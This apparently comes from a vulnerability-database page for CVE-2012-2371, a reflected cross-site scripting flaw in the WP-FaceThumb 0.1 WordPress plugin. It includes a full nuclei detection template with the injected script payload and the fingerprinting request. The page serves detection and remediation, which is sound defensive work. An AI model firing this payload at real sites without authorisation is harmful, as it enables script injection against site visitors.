HexBrain

Browse / CVEs / CVE-2012-2371

CVE-2012-2371· mnt-tech / wp-facethumb· CWE-79

WP-FaceThumb 0.1 - Cross-Site Scripting

mediumseverity
4.3CVSS score
12.8%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/wp-facethumb/readme.txt
Positive when: contains "WP-FaceThumb ==="
Send: GET {{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-2371 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-2371

info:
  name: WP-FaceThumb 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-2371
    - http://www.openwall.com/lists/oss-security/2012/05/15/12
    - http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html
    - http://wordpress.org/support/topic/plugin-wp-facethumb-reflected-xss-vulnerability-cwe-79
    - http://www.openwall.com/lists/oss-security/2012/05/16/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-2371
    cwe-id: CWE-79
    epss-score: 0.12848
    epss-percentile: 0.96328
    cpe: cpe:2.3:a:mnt-tech:wp-facethumb:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "mnt-tech"
    product: "wp-facethumb"
  tags: cve,cve2012,packetstorm,wordpress,xss,wp-plugin,mnt-tech,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-FaceThumb ==='

  - method: GET
    path:
      - '{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from